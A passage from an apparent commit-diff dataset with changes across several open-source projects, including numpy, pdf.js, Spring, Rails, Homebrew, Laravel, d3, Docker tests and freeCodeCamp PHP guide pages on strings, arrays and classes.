<add>import jmespath
<add>
<add>from chart.tests.helm_template_generator import render_chart
<add>
<add>
<add>class CreateUserJobTest(unittest.TestCase):
<add> def test_should_run_by_default(self):
<add> docs = render_chart(show_only=["templates/create-user-job.yaml"])
<add> assert "create-user" == jmespath.search("spec.template.spec.containers[0].name", docs[0])
<add> assert 50000 == jmespath.search("spec.template.spec.securityContext.runAsUser", docs[0]) | 1 |
Python | Python | fix old scipy issue173 | 43521c0bdbda97a41256e5c2c972189272e03dca | <ide><path>numpy/distutils/mingw32ccompiler.py
<ide> def __init__ (self,
<ide> entry_point = ''
<ide>
<ide> if self.linker_dll == 'dllwrap':
<del> self.linker = 'dllwrap --driver-name g++'
<add> # Commented out '--driver-name g++' part that fixes weird
<add> # g++.exe: g++: No such file or directory
<add> # error (mingw 1.0 in Enthon24 tree, gcc-3.4.5).
<add> # If the --driver-name part is required for some environment
<add> # then make the inclusion of this part specific to that environment.
<add> self.linker = 'dllwrap' # --driver-name g++'
<ide> elif self.linker_dll == 'gcc':
<ide> self.linker = 'g++'
<ide> | 1 |
Javascript | Javascript | remove useless test from network_utils_spec.js | 0ffe9b9289cc5cddc0e6c4414518285c5ab31bcf | <ide><path>test/unit/network_utils_spec.js
<ide> describe('network_utils', function() {
<ide> })).toEqual('filename.pdf');
<ide> });
<ide>
<del> it('returns null when content disposition is form-data', function() {
<del> expect(extractFilenameFromHeader((headerName) => {
<del> if (headerName === 'Content-Disposition') {
<del> return 'form-data';
<del> }
<del> })).toBeNull();
<del>
<del> expect(extractFilenameFromHeader((headerName) => {
<del> if (headerName === 'Content-Disposition') {
<del> return 'form-data; name="filename.pdf"';
<del> }
<del> })).toBeNull();
<del>
<del> expect(extractFilenameFromHeader((headerName) => {
<del> if (headerName === 'Content-Disposition') {
<del> return 'form-data; name="filename.pdf"; filename="file.pdf"';
<del> }
<del> })).toEqual('file.pdf');
<del> });
<del>
<ide> it('only extracts filename with pdf extension', function () {
<ide> expect(extractFilenameFromHeader((headerName) => {
<ide> if (headerName === 'Content-Disposition') { | 1 |
Python | Python | update vectors_loc description | 7d5afadf5e77f65903e137da94058db4adebca93 | <ide><path>examples/vectors_fast_text.py
<ide>
<ide>
<ide> @plac.annotations(
<del> vectors_loc=("Path to vectors", "positional", None, str),
<add> vectors_loc=("Path to .vec file", "positional", None, str),
<ide> lang=("Optional language ID. If not set, blank Language() will be used.",
<ide> "positional", None, str))
<ide> def main(vectors_loc, lang=None): | 1 |
Java | Java | add javadoc to managedattribute | 1f72ab4816bc2b09244616f628f9f1137855a05e | <ide><path>spring-context/src/main/java/org/springframework/jmx/export/annotation/ManagedAttribute.java
<ide> /*
<del> * Copyright 2002-2015 the original author or authors.
<add> * Copyright 2002-2020 the original author or authors.
<ide> *
<ide> * Licensed under the Apache License, Version 2.0 (the "License");
<ide> * you may not use this file except in compliance with the License.
<ide> import java.lang.annotation.RetentionPolicy;
<ide> import java.lang.annotation.Target;
<ide>
<add>import javax.management.Descriptor;
<add>
<ide> /**
<ide> * Method-level annotation that indicates to expose a given bean property as a
<ide> * JMX attribute, corresponding to the {@code ManagedAttribute} attribute.
<ide> @Documented
<ide> public @interface ManagedAttribute {
<ide>
<add> /**
<add> * Set the default value for the attribute in a JMX {@link Descriptor}.
<add> */
<ide> String defaultValue() default "";
<ide>
<add> /**
<add> * Set the description for the attribute a JMX {@link Descriptor}.
<add> */
<ide> String description() default "";
<ide>
<add> /**
<add> * Set the currency time limit field in a JMX {@link Descriptor}.
<add> */
<ide> int currencyTimeLimit() default -1;
<ide>
<add> /**
<add> * Set the persistPolicy field in a JMX {@link Descriptor}.
<add> */
<ide> String persistPolicy() default "";
<ide>
<add> /**
<add> * Set the persistPeriod field in a JMX {@link Descriptor}.
<add> */
<ide> int persistPeriod() default -1;
<ide>
<ide> } | 1 |
Text | Text | use correct spelling of navigable | a0c00de32bdddb474fba911fd76b65a2a1afab23 | <add><path>curriculum/challenges/english/01-responsive-web-design/applied-accessibility/make-links-navigable-with-html-access-keys.english.md
<del><path>curriculum/challenges/english/01-responsive-web-design/applied-accessibility/make-links-navigatable-with-html-access-keys.english.md
<ide> ---
<ide> id: 587d7790367417b2b2512aaf
<del>title: Make Links Navigatable with HTML Access Keys
<add>title: Make Links Navigable with HTML Access Keys
<ide> challengeType: 0
<ide> videoUrl: 'https://scrimba.com/c/cQvmaTp'
<ide> --- | 1 |
Ruby | Ruby | return correct type from `enumtype` | 8f290092f088c66a88addf82e0b4cdb88b64e854 | <ide><path>activerecord/lib/active_record/enum.rb
<ide> def inherited(base) # :nodoc:
<ide> end
<ide>
<ide> class EnumType < Type::Value # :nodoc:
<add> delegate :type, to: :subtype
<add>
<ide> def initialize(name, mapping, subtype)
<ide> @name = name
<ide> @mapping = mapping
<ide><path>activerecord/test/cases/enum_test.rb
<ide> def self.name; 'Book'; end
<ide> book = Book.new
<ide> assert book.hard?
<ide> end
<add>
<add> test "data type of Enum type" do
<add> assert_equal :integer, Book.type_for_attribute('status').type
<add> end
<ide> end | 2 |
Go | Go | remove offline mode from auth unit tests | 6dccdd657f715c164f2fe6fc786c8274a2425f1b | <ide><path>auth/auth_test.go
<ide> func TestEncodeAuth(t *testing.T) {
<ide> }
<ide>
<ide> func TestLogin(t *testing.T) {
<del> if os.Getenv("OFFLINE") != "" {
<del> t.Skip("Offline mode, skipping.")
<del> }
<ide> os.Setenv("DOCKER_INDEX_URL", "https://indexstaging-docker.dotcloud.com")
<ide> defer os.Setenv("DOCKER_INDEX_URL", "")
<ide> authConfig := NewAuthConfig("unittester", "surlautrerivejetattendrai", "noise+unittester@dotcloud.com", "/tmp")
<ide> func TestLogin(t *testing.T) {
<ide> }
<ide>
<ide> func TestCreateAccount(t *testing.T) {
<del> if os.Getenv("OFFLINE") != "" {
<del> t.Skip("Offline mode, skipping.")
<del> }
<ide> os.Setenv("DOCKER_INDEX_URL", "https://indexstaging-docker.dotcloud.com")
<ide> defer os.Setenv("DOCKER_INDEX_URL", "")
<ide> tokenBuffer := make([]byte, 16) | 1 |
Ruby | Ruby | fix rubocop violations | 25d8afb3a6e5cdc7da3ab0bb6f18c2b14fcabbdd | <ide><path>activesupport/test/core_ext/hash_ext_test.rb
<ide> def test_deep_transform_keys_with_bang_mutates
<ide> end
<ide>
<ide> def test_deep_transform_values
<del> assert_equal({ "a" => "1", "b" => "2" }, @strings.deep_transform_values{ |value| value.to_s })
<add> assert_equal({ "a" => "1", "b" => "2" }, @strings.deep_transform_values { |value| value.to_s })
<ide> assert_equal({ "a" => { "b" => { "c" => "3" } } }, @nested_strings.deep_transform_values { |value| value.to_s })
<ide> assert_equal({ "a" => [ { "b" => "2" }, { "c" => "3" }, "4" ] }, @string_array_of_hashes.deep_transform_values { |value| value.to_s })
<ide> end
<ide> def test_deep_transform_values_not_mutates
<ide> end
<ide>
<ide> def test_deep_transform_values!
<del> assert_equal({ "a" => "1", "b" => "2" }, @strings.deep_transform_values!{ |value| value.to_s })
<add> assert_equal({ "a" => "1", "b" => "2" }, @strings.deep_transform_values! { |value| value.to_s })
<ide> assert_equal({ "a" => { "b" => { "c" => "3" } } }, @nested_strings.deep_transform_values! { |value| value.to_s })
<ide> assert_equal({ "a" => [ { "b" => "2" }, { "c" => "3" }, "4" ] }, @string_array_of_hashes.deep_transform_values! { |value| value.to_s })
<ide> end
<ide><path>railties/test/application/server_test.rb
<ide> def teardown
<ide> pid = nil
<ide>
<ide> Bundler.with_original_env do
<del> begin
<del> pid = Process.spawn("bin/rails server -P tmp/dummy.pid", chdir: app_path, in: replica, out: replica, err: replica)
<del> assert_output("Listening", primary)
<add> pid = Process.spawn("bin/rails server -P tmp/dummy.pid", chdir: app_path, in: replica, out: replica, err: replica)
<add> assert_output("Listening", primary)
<ide>
<del> rails("restart")
<add> rails("restart")
<ide>
<del> assert_output("Restarting", primary)
<del> assert_output("Inherited", primary)
<del> ensure
<del> kill(pid) if pid
<del> end
<add> assert_output("Restarting", primary)
<add> assert_output("Inherited", primary)
<add> ensure
<add> kill(pid) if pid
<ide> end
<ide> end
<ide> | 2 |
PHP | PHP | update handler.php | 75bf702169d0d32ee9b0c4fbf3cbd6d7447829a3 | <ide><path>src/Illuminate/Foundation/Exceptions/Handler.php
<ide> class Handler implements ExceptionHandlerContract
<ide> /**
<ide> * A map of exceptions with their corresponding custom log levels.
<ide> *
<del> * @var array<string, string>
<add> * @var array<class-string<\Throwable>, \Psr\Log\LogLevel::*>
<ide> */
<ide> protected $levels = [];
<ide>
<ide> public function ignore(string $class)
<ide> * Set the log level for the given exception type.
<ide> *
<ide> * @param class-string<\Throwable> $type
<del> * @param string $level
<add> * @param \Psr\Log\LogLevel::* $level
<ide> * @return $this
<ide> */
<ide> public function level($type, $level) | 1 |
Javascript | Javascript | add equirectangular projection | 93a0a0c3702160de3b920f897e34d3342b664f2f | <ide><path>src/geo/equirect.js
<add>d3.geo.equirect = function() {
<add> var scale = 500, translate = [480, 250];
<add>
<add> function equirect(coordinates) {
<add> var x = coordinates[0] / 360,
<add> y = -coordinates[1] / 360;
<add> return [
<add> scale * x + translate[0],
<add> scale * y + translate[1]
<add> ];
<add> }
<add>
<add> equirect.scale = function(x) {
<add> if (!arguments.length) return scale;
<add> scale = +x;
<add> return equirect;
<add> };
<add>
<add> equirect.translate = function(x) {
<add> if (!arguments.length) return translate;
<add> translate = [+x[0], +x[1]];
<add> return equirect;
<add> };
<add>
<add> return equirect;
<add>}; | 1 |
Ruby | Ruby | fix style problem | f51587ee7474a6582d9a44ae54f2a7937b046125 | <ide><path>Library/brew.rb
<ide> def require?(path)
<ide> end
<ide>
<ide> if internal_cmd
<del> Homebrew.send cmd.to_s.gsub("-", "_").downcase
<add> Homebrew.send cmd.to_s.tr("-", "_").downcase
<ide> elsif which "brew-#{cmd}"
<ide> %w[CACHE CELLAR LIBRARY_PATH PREFIX REPOSITORY].each do |e|
<ide> ENV["HOMEBREW_#{e}"] = Object.const_get("HOMEBREW_#{e}").to_s
<ide> def require?(path)
<ide> else
<ide> require "tap"
<ide> possible_tap = case cmd
<del> when *%w[brewdle brewdler bundle bundler]
<add> when "brewdle", "brewdler", "bundle", "bundler"
<ide> Tap.fetch("Homebrew", "bundle")
<ide> when "cask"
<ide> Tap.fetch("caskroom", "cask") | 1 |
Text | Text | add content for php strings | 0890dda96296e5cd37ac92409c950109eb9d513b | <ide><path>guide/english/php/strings/index.md
<ide> title: Strings
<ide> ---
<ide> ## Strings
<del>A string is a sequence of characters, like "Hello world!".
<ide>
<del>## PHP String Functions
<add>A string is series of characters. These can be used to store any textual information in your application.
<add>
<add>There are a number of different ways to create strings in PHP.
<add>
<add>### Single Quotes
<add>
<add>Simple strings can be created using single quotes.
<add>```PHP
<add>$name = 'Joe';
<add>```
<add>
<add>To include a single quote in the string, use a backslash to escape it.
<add>
<add>```PHP
<add>$last_name = 'O\'Brian';
<add>```
<add>
<add>
<add>### Double Quotes
<add>
<add>You can also create strings using double quotes.
<add>```PHP
<add>$name = "Joe";
<add>```
<add>
<add>To include a double quote, use a backslash to escape it.
<add>
<add>```PHP
<add>$quote = "Mary said, \"I want some toast,\" and then ran away.";
<add>```
<add>
<add>Double quoted strings also allow escape sequences. These are special codes that put characters in your string that represent typically invisible characters. Examples include newlines `\n`, tabs `\t`, and actual backslashes `\\`.
<add>
<add>You can also embed PHP variables in double quoted strings to have their values added to the string.
<add>```PHP
<add>$name = 'Joe';
<add>$greeting = "Hello $name"; // now contains the string "Hello Joe"
<add>```
<add>
<add>
<add>### PHP String Functions
<ide> In this chapter we will look at some commonly used functions to manipulate strings.
<ide>
<del>## Get The Length of a String
<add>#### Get The Length of a String
<ide> The PHP strlen() function returns the length of a string.
<ide> The example below returns the length of the string "Hello world!":
<ide> ````
<ide> echo strlen("Hello world!"); // outputs 12
<ide> A string is series of characters.
<ide> PHP only supports a 256-character set and hence does not offer native Unicode support.
<ide>
<del>## Count The Number of Words in a String
<add>#### Count The Number of Words in a String
<ide> The PHP str_word_count() function counts the number of words in a string:
<ide> ````
<ide> <?php
<ide> echo str_word_count("Hello world!"); // outputs 2
<ide> ?>
<ide> ````
<ide>
<del>## Reverse a String
<add>#### Reverse a String
<ide> The PHP strrev() function reverses a string:
<ide> ````
<ide> <?php
<ide> echo strrev("Hello world!"); // outputs !dlrow olleH
<ide> ?>
<ide> ````
<ide>
<del>## Search For a Specific Text Within a String
<add>#### Search For a Specific Text Within a String
<ide> The PHP strpos() function searches for a specific text within a string.
<ide> If a match is found, the function returns the character position of the first match. If no match is found, it will return FALSE.
<ide> The example below searches for the text "world" in the string "Hello world!":
<ide> echo strpos("Hello world!", "world"); // outputs 6
<ide> ?>
<ide> ````
<ide>
<del>## Replace Text Within a String
<add>#### Replace Text Within a String
<ide> ````
<ide> <?php
<ide> echo str_replace("world", "Dolly", "Hello world!"); // outputs Hello Dolly!
<ide> ?>
<ide> ````
<ide>
<del>#### More Information:
<del>[PHP String tutorial](https://www.w3schools.com/php/php_string.asp)
<add>### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<add>* [PHP: Strings](http://php.net/manual/en/language.types.string.php)
<add>* [PHP String tutorial](https://www.w3schools.com/php/php_string.asp)
<ide><path>mock-guide/english/php/array/index.md
<add>---
<add>title: array
<add>---
<add>
<add>## Introduction to PHP Array
<add>
<add>An array can be thought of as a collection of items.
<add>
<add>## Syntax
<add>
<add>An array is defined by `array()`, or `[]`.
<add>
<add>An example of an array in each style can be seen below:
<add>
<add>```php
<add><?php
<add>
<add>$bikes = array('Suzuki','BMW','Yamaha');
<add>
<add>// OR
<add>
<add>$bikes = ['Suzuki', 'BMW', 'Yamaha'];
<add>```
<add>
<add>## Associative array (key => value)
<add>
<add>PHP arrays can store more than one type of value at a time:
<add>```
<add><?php
<add>
<add>$arr = array('Suzuki', 3.1415, false, -273);
<add>```
<add>As you can see there is a string, a float number, a boolean valuea and an integer number.
<add>
<add>
<add>Arrays can also be defined with named keys, as shown below:
<add>
<add>```php
<add><?php
<add>
<add>$bikes = [
<add> 'favorite' => 'Suzuki',
<add> 'second favorite' => 'BMW',
<add> 'not my favorite' => 'Yamaha'
<add>];
<add>```
<add>
<add>## Accessing Items
<add>
<add>Items within an array can be accessed by their corresponding key, or location within the array.
<add>
<add>For instance:
<add>
<add>```php
<add><?php
<add>
<add>$bikes = ['Suzuki', 'BMW', 'Yamaha'];
<add>
<add>echo 'I like '. $bikes[0];
<add>```
<add>
<add>Would produce the following output:
<add>
<add>```
<add>I like Suzuki
<add>```
<add>
<add>Another example, using named keys can be seen below:
<add>```php
<add><?php
<add>
<add>$bikes = [
<add> 'favorite' => 'Suzuki',
<add> 'second favorite' => 'BMW',
<add> 'not my favorite' => 'Yamaha'
<add>];
<add>
<add>echo 'I like '. $bikes['not my favorite'];
<add>```
<add>
<add>Would produce the following output:
<add>
<add>```
<add>I like Yamaha
<add>```
<add>
<add>## Add Item
<add>
<add>Is possible to add any item to an existing array.
<add>
<add>An example of addition can be seen below:
<add>
<add>```
<add><?php
<add>
<add>$bikes = array('Suzuki', 'BMW');
<add>
<add>$bikes[] = 'Yamaha';
<add>```
<add>
<add>Another example, using named keys can be seen below:
<add>
<add>```
<add><?php
<add>
<add>$bikes = [
<add> 'favorite' => 'Suzuki',
<add> 'second favorite' => 'BMW'
<add>];
<add>
<add>$bikes['not my favorite'] = 'Yamaha';
<add>```
<add>
<add>## Multidimensional Array
<add>
<add>As we mentioned earlier arrays are collection of items, often times these items may be arrays of themselves.
<add>
<add>
<add>You will always be able to get the value for the specific key by going down the layers: $arr['layerOne']['two']
<add>
<add>
<add>## Pitfalls
<add>
<add>When working with arrays, there are a few important things to keep in mind:
<add>
<add>1) A comma after the last element is optional.
<add>2) Named keys must use quotes to be accessed (i.e. $bikes[not my favorite] would not work).
<add>
<add>For more information, please see [PHP: Arrays](http://php.net/manual/en/language.types.array.php)
<add>
<add>
<add>## Length of an Array
<add>
<add>The count() function is used to return the length (the number of elements) of an array:
<add>
<add><?php
<add> $cars = array("Volvo", "BMW", "Toyota");
<add> echo count($cars);
<add>?>
<ide><path>mock-guide/english/php/arrays/index.md
<add>---
<add>title: Arrays
<add>---
<add>## Arrays
<add>
<add>### Types Of Arrays
<add>In PHP there are three types of arrays: Indexed Arrays, Associative arrays, and Multidimensional arrays.
<add>
<add>### Indexed Array Example
<add>An indexed array accesses objects by index number.
<add>```PHP
<add><?php
<add>$freecodecamp = array("free", "code", "camp");
<add>```
<add>`$freecodecamp[0]` would return `"free"`, `$freecodecamp[1]` would return `"code"`, and `$freecodecamp[2]` would return `"camp"`.
<add>
<add>### Associative Array Example
<add>An associative array accesses objects by key name.
<add>```PHP
<add><?php
<add>$freecodecamp = array("free"=>"0","code"=>"1","camp"=>"2");
<add>```
<add>`$freecodecamp['free']` would return "0", `$freecodecamp['code']` would return "1", `$freecodecamp['camp']` would return "2",
<add>
<add>### Multidimensional Array Example
<add>A multidimensional array is an array that contains other arrays.
<add>```PHP
<add><?php
<add>$freecodecamp = array(array("free"=>"0","code"=>"1","camp"=>"2"),array("free"=>"0","code"=>"1","camp"=>"2"),array("free"=>"0","code"=>"1","camp"=>"2"));
<add>```
<add>
<add>#### More Information:
<add>* <a href="https://secure.php.net/manual/en/language.types.array.php" rel="nofollow">php.net arrays manual</a>
<ide><path>mock-guide/english/php/arrays/sorting-arrays/index.md
<add>---
<add>title: Sorting Arrays
<add>---
<add>## Sorting Arrays
<add>
<add>PHP offers several functions to sort arrays. This page describes the different functions and includes examples.
<add>
<add>### sort()
<add>The `sort()` function sorts the values of an array in ascending alphabetical/numerical order (E.g. A, B, C, D, E... 5, 4, 3, 2, 1...)
<add>```PHP
<add><?php
<add>$freecodecamp = array("free", "code", "camp");
<add>sort($freecodecamp);
<add>print_r($freecodecamp);
<add>```
<add>**Output:**
<add>```text
<add>Array
<add>(
<add> [0] => camp
<add> [1] => code
<add> [2] => free
<add>)
<add>```
<add>
<add>### rsort()
<add>The `rsort()` functions sort the values of an array in descending alphabetical/numerical order (E.g. Z, Y, X, W, V... 5, 4, 3, 2, 1...)
<add>```PHP
<add><?php
<add>$freecodecamp = array("free", "code", "camp");
<add>rsort($freecodecamp);
<add>print_r($freecodecamp);
<add>```
<add>**Output:**
<add>```text
<add>Array
<add>(
<add> [0] => free
<add> [1] => code
<add> [2] => camp
<add>)
<add>```
<add>
<add>### asort()
<add>The `asort()` function sorts an associative array, by it's values, in ascending alphabetical/numerical order (E.g. A, B, C, D, E... 5, 4, 3, 2, 1...)
<add>```PHP
<add><?php
<add>$freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp");
<add>asort($freecodecamp);
<add>print_r($freecodecamp);
<add>```
<add>**Output:**
<add>```text
<add>Array
<add>(
<add> [two] => camp
<add> [one] => code
<add> [zero] => free
<add>)
<add>```
<add>
<add>### ksort()
<add>The `ksort()` function sorts an associative array, by it's keys, in ascending alphabetical/numerical order (E.g. A, B, C, D, E... 5, 4, 3, 2, 1...)
<add>```PHP
<add><?php
<add>$freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp");
<add>ksort($freecodecamp);
<add>print_r($freecodecamp);
<add>```
<add>**Output:**
<add>```text
<add>Array
<add>(
<add> [one] => code
<add> [two] => camp
<add> [zero] => free
<add>)
<add>```
<add>
<add>### arsort()
<add>The `arsort()` function sorts an associative array, by it's values, in descending alphabetical/numerical order (E.g. Z, Y, X, W, V... 5, 4, 3, 2, 1...)
<add>```PHP
<add><?php
<add>$freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp");
<add>arsort($freecodecamp);
<add>print_r($freecodecamp);
<add>```
<add>**Output:**
<add>```text
<add>Array
<add>(
<add> [zero] => free
<add> [one] => code
<add> [two] => camp
<add>)
<add>```
<add>
<add>### krsort()
<add>The `krsort()` function sorts an associative array, by it's keys in descending alphabetical/numerical order (E.g. Z, Y, X, W, V... 5, 4, 3, 2, 1...)
<add>```PHP
<add><?php
<add>$freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp");
<add>krsort($freecodecamp);
<add>print_r($freecodecamp);
<add>```
<add>**Output:**
<add>```text
<add>Array
<add>(
<add> [zero] => free
<add> [two] => camp
<add> [one] => code
<add>)
<add>```
<add>
<add>#### More Information:
<add>* <a href="https://secure.php.net/manual/en/function.sort.php" rel="nofollow">php.net sort() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.rsort.php" rel="nofollow">php.net rsort() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.asort.php" rel="nofollow">php.net asort() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.ksort.php" rel="nofollow">php.net ksort() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.arsort.php" rel="nofollow">php.net arsort() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.krsort.php" rel="nofollow">php.net krsort() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.print-r.php" rel="nofollow">php.net print_r() manual</a>
<ide><path>mock-guide/english/php/basic-syntax/index.md
<add>---
<add>title: Basic Syntax
<add>---
<add># Basic Syntax
<add>
<add>A PHP script can be placed anywhere in the document.
<add>
<add>A PHP script starts with `<?php` and ends with `?>`
<add>
<add>Below, we have an example of a simple PHP file, with a PHP script that uses a built-in PHP function "echo" to output the text "Hello World!" on a web page
<add>
<add>````<!DOCTYPE html>
<add><html>
<add><body>
<add>
<add><h1>My first PHP page</h1>
<add>
<add><?php echo "Hello World!"; ?>
<add>
<add></body>
<add></html>
<add>````
<add>
<add>
<add>The output of that would be :
<add>
<add>````
<add>My first PHP page
<add>
<add>Hello World!
<add>````
<add>
<add>#### Note: PHP statements end with a semicolon (;).
<add>
<add># Comments in PHP
<add>
<add>PHP supports several ways of commenting:
<add>
<add>````
<add><!DOCTYPE html>
<add><html>
<add><body>
<add>
<add><?php
<add>// This is a single-line comment
<add>
<add># This is also a single-line comment
<add>
<add>/*
<add>This is a multiple-lines comment block
<add>that spans over multiple
<add>lines
<add>*/
<add>
<add>// You can also use comments to leave out parts of a code line
<add>$x = 5 /* + 15 */ + 5;
<add>echo $x;
<add>?>
<add>
<add></body>
<add></html>
<add>````
<add>
<add># PHP Case Sensitivity
<add>
<add>In PHP, all keywords (e.g. if, else, while, echo, etc.), classes, functions, and user-defined functions are NOT case-sensitive.
<add>
<add>In the example below, all three echo statements are legal (and equal):
<add>
<add>````
<add><!DOCTYPE html>
<add><html>
<add><body>
<add>
<add><?php
<add>ECHO "Hello World!<br>";
<add>echo "Hello World!<br>";
<add>EcHo "Hello World!<br>";
<add>?>
<add>
<add></body>
<add></html>
<add>````
<add>
<add>### However; all variable names are case-sensitive.
<add>
<add>In the example below, only the first statement will display the value of the $color variable (this is because $color, $COLOR, and $coLOR are treated as three different variables):
<add>
<add>````
<add><!DOCTYPE html>
<add><html>
<add><body>
<add>
<add><?php
<add>$color = "red";
<add>echo "My car is " . $color . "<br>";
<add>echo "My house is " . $COLOR . "<br>";
<add>echo "My boat is " . $coLOR . "<br>";
<add>?>
<add>
<add></body>
<add></html>
<add>````
<ide><path>mock-guide/english/php/class-inheritance/index.md
<add>---
<add>title: Class Inheritance
<add>---
<add>## Class Inheritance
<add>
<add>_REUSE CODE WITH INHERITANCE IN OBJECT ORIENTED PROGRAMMING_
<add>
<add>Here, we will talk about how we can re-use code that we wrote without having any code duplication by using inheritance.
<add>
<add>### Man Class
<add>
<add>This is our `Man` class:
<add>
<add>```php
<add><?php
<add>class Man
<add>{
<add> // 1. Declare the class variables
<add> public $name;
<add> protected $age;
<add> public $height;
<add> public $fav_sports;
<add> private $fav_drinks;
<add>
<add> // 2. Create a constructor method with 3 required parameters: name, age and height
<add> public function __construct($name, $age, $height)
<add> {
<add> // 2A. Assign the values of parameters to class properties
<add> // Also known as instance variables
<add> // Using "$this->property_name"
<add> $this->name = $name;
<add> $this->age = $age;
<add> $this->height = $height;
<add>
<add> // 2B. Print out the man's attributes and values upon instantiation
<add> echo "Our man's name is: " . $this->name . "\n";
<add> echo "He is " . $this->age . " years old and " . $this->height . " tall.";
<add> }
<add>
<add> // 3. Create class methods
<add> public function giveFirmHandshakes()
<add> {
<add> return "I give firm handshakes.";
<add> }
<add>
<add> public function beStubborn()
<add> {
<add> return "I am stubborn.";
<add> }
<add>
<add> public function notPutToiletPaper()
<add> {
<add> return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
<add> }
<add>
<add> // 4. Age getter method
<add> public function getAge()
<add> {
<add> return $this->age;
<add> }
<add>
<add> // Age setter method
<add> public function setAge($age)
<add> {
<add> $this->age = $age;
<add> }
<add>
<add> // 5. Favorite Drinks setter method
<add> public function setFavDrinks($drinks = array())
<add> {
<add> if ($drinks) {
<add> $this->fav_drinks = $drinks;
<add> }
<add> }
<add>
<add> // Favorite Drinks getter method
<add> public function getFavDrinks()
<add> {
<add> return $this->fav_drinks;
<add> }
<add>}
<add>```
<add>
<add>
<add>### Healthy Man
<add>
<add>
<add>
<add>Let’s say we want to create another class called `HealthyMan` which has all the properties and methods of `Man` class.
<add>
<add>Without having to re-write all the code for `Man` class, we can re-use that code by using the keyword extends.
<add>
<add>
<add>```php
<add><?php
<add>class HealthyMan extends Man
<add>{
<add>
<add>}
<add>```
<add>
<add>Now we have all the class properties and methods from Man inside `HealthyMan`. We can instantiate `HealthyMan` class to check this real quick.
<add>
<add>```php
<add><?php
<add>$jackie = new HealthyMan('Jackie', 25, '5\' 5"');
<add>// => Our man's name is: Jackie
<add>// => He is 25 years old and 5' 5" tall.
<add>```
<add>
<add>We can go ahead and set HealthyMan aka Jackie’s favorite sports and drinks.
<add>
<add>```php
<add><?php
<add>$jackie->fav_sports = ['swimming', 'weight training'];
<add>print_r($jackie->fav_sports);
<add>// =>
<add>// Array
<add>// (
<add>// [0] => swimming
<add>// [1] => weight training
<add>// )
<add>
<add>$jackie->setFavDrinks(['Matcha tea', 'Oolong Tea']);
<add>print_r($jackie->getFavDrinks());
<add>// =>
<add>// Array
<add>// (
<add>// [0] => Matcha tea
<add>// [1] => Oolong Tea
<add>// )
<add>```
<add>
<add>Now let’s see if we can call Man’s class methods like `giveFirmHandshakes()`, `beStubborn()` and `notPutToiletPaper()`.
<add>
<add>```php
<add><?php
<add>echo "\n" . $jackie->giveFirmHandshakes();
<add>// => I give firm handshakes.
<add>
<add>echo "\n" . $jackie->beStubborn();
<add>// => I am stubborn.
<add>
<add>echo "\n" . $jackie->notPutToiletPaper();
<add>// => It's not humanly possible to remember to put toilet paper rolls when they are finished
<add>```
<add>
<add>We get all of these by just inheriting Man class using the keyword extends.
<add>
<add>
<add>### A Real Healthy Man
<add>
<add>
<add>If we just inherit `HealthyMan` from `Man` class and do nothing with it, then it beats the whole purpose.
<add>
<add>HealthyMan class has additional properties like `body_fat_percentage` and `workout_per_week`, and methods like `eatHealthy()`, `meditateDaily()` and `laughOften()`.
<add>
<add>Since these are personal properties, we can either set them visibility of protected or private and create setter/getter methods for the full encapsulation.
<add>
<add>```php
<add><?php
<add>class HealthyMan extends Man
<add>{
<add> /**
<add> * HealthyMan properties
<add> */
<add> private $body_fat_percentage;
<add> private $workout_per_week;
<add>
<add> /**
<add> * HealthyMan methods
<add> */
<add> public function eatHealthy()
<add> {
<add> return "I only eat healthy meals.";
<add> }
<add>
<add> public function meditateDaily()
<add> {
<add> return "I set aside 20 minutes daily to meditate.";
<add> }
<add>
<add> public function laughOften()
<add> {
<add> return "I watch funny TV shows to unwind myself.";
<add> }
<add>
<add> /**
<add> * HealthyMan Setters and Getters
<add> */
<add> public function setBodyFatPercentage($fat_percentage)
<add> {
<add> $this->body_fat_percentage = $fat_percentage;
<add> }
<add>
<add> public function getBodyFatPercentage()
<add> {
<add> return $this->body_fat_percentage;
<add> }
<add>
<add> public function setWorkoutPerWeek($workout_times)
<add> {
<add> $this->workout_per_week = $workout_times;
<add> }
<add>
<add> public function getWorkoutPerWeek()
<add> {
<add> return $this->workout_per_week;
<add> }
<add>}
<add>```
<add>
<add>We can call these methods to see if they are working as expected:
<add>
<add>```php
<add><?php
<add>
<add>echo "\n" . $jackie->eatHealthy();
<add>// => I only eat healthy meals.
<add>
<add>echo "\n" . $jackie->meditateDaily();
<add>// => I set aside 20 minutes daily to meditate.
<add>
<add>echo "\n" . $jackie->laughOften();
<add>// => I watch funny TV shows to unwind myself.
<add>
<add>$jackie->setBodyFatPercentage(12);
<add>echo "\nBody Fat %: " . $jackie->getBodyFatPercentage();
<add>// => Body Fat %: 12
<add>
<add>$jackie->setWorkoutPerWeek(5);
<add>echo "\nWorkout Times Per Week: " . $jackie->getWorkoutPerWeek();
<add>// => Workout Times Per Week: 5
<add>```
<add>
<add>We have successfully re-used the existing code and implemented a child class.
<add>
<add>
<add>### Is He That Stubborn?
<add>
<add>
<add>Even though he inherited `beStubborn()` from Man class, since Jackie is a healthy man, he is only stubborn only once in a while. We can have Healthy Man’s `beStubborn()` method to say “I am stubborn once in a while” instead of just plain old “I am stubborn” by overriding the parent class’ method.
<add>
<add>```php
<add><?php
<add>class HealthyMan extends Man
<add>{
<add> .....
<add> .....
<add>
<add> public function beStubborn()
<add> {
<add> return "I am stubborn once in a while.";
<add> }
<add>
<add> .....
<add> .....
<add>}
<add>```
<add>
<add>Now when we can Jackie’s `beStubborn()` method, we will see a different output than before:
<add>
<add>```php
<add><?php
<add>echo "\n" . $jackie->beStubborn();
<add>// => I am stubborn once in a while.
<add>```
<add>
<add>This demonstrates how method overriding works in OOP.
<add>
<add>By using method overriding, we are basically re-declaring the parent class’ method inside the child class.
<add>
<add>This way, any instance of the parent’s class maintains its original method whereas any instance of the child class has the modified or overridden method.
<ide><path>mock-guide/english/php/class/index.md
<add>---
<add>title: PHP - Class
<add>---
<add>
